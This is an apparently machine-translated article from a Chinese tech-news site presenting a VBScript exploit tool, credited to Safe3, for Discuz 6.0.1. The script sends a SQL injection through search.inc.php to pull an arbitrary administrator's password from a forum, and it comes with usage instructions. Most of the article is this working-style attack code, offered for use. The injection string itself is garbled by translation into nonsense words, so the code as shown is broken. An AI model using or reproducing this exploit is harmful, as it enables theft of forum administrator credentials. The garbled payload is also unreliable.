Shulou(Shulou.com)06/03 Report--

Xiaobian to share with you how to use vbs to achieve discuz arbitrary administrator password vulnerability exploitation tool, I hope you will gain something after reading this article, let's discuss it together!

It is also conducive to modification.

The following is the VBS version of the search.inc.php file exploit code

The code is as follows:

Dim strUrl,strSite,strPath,strUid

ShowB ()

Set Args = Wscript.Arguments

If Args.Count 3 Then

ShowU ()

Else

StrSite=Args (0)

StrPath=Args (1)

StrUid=Args (2)

End If

StrUrl= "action=search&searchid=22%cf' UNION SELECT 1century passwordGram3reachpasswordGrams3reignedpasswordlemagecomplicationtheconsumptionCharacterizationcdbbadmembersplectionChargencedChargesAccording to strUrl=" passwordGramPasswordMagned3Permanent words = "& strUid &" / * & do=submit "

Set objXML = CreateObject ("Microsoft.XMLHTTP")

ObjXML.Open "POST", strSite & strPath & "index.php", False

ObjXML.SetRequestHeader "Accept", "* /"

ObjXML.SetRequestHeader "Accept-Language", "zh-cn"

ObjXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"

ObjXML.SetRequestHeader "User-Agent", "wap"

ObjXML.send (strUrl)

Wscript.echo (objXML.ResponseText)

Sub showB ()

With Wscript

.Echo ("+-- =--")

.Echo ("Exploit discuz6.0.1")

.Echo ("Code By Safe3")

.Echo ("+-- =--")

End with

End Sub

Sub showU ()

With Wscript

.Echo ("+-- =--")

.Echo ("usage:")

.Echo ("cscript" & .ScriptName & "site path uid")

.Echo ("example:")

.Echo ("cscript" & .ScriptName & "http://www.example.com/ / forum/ 1 > result.txt")

.Echo ("+-- =--")

.Quit

End with

End Sub

After reading this article, I believe you have a certain understanding of "how to use vbs to achieve password exploitation tools for any discuz administrator". If you want to know more about it, welcome to follow the industry information channel, thank you for your reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.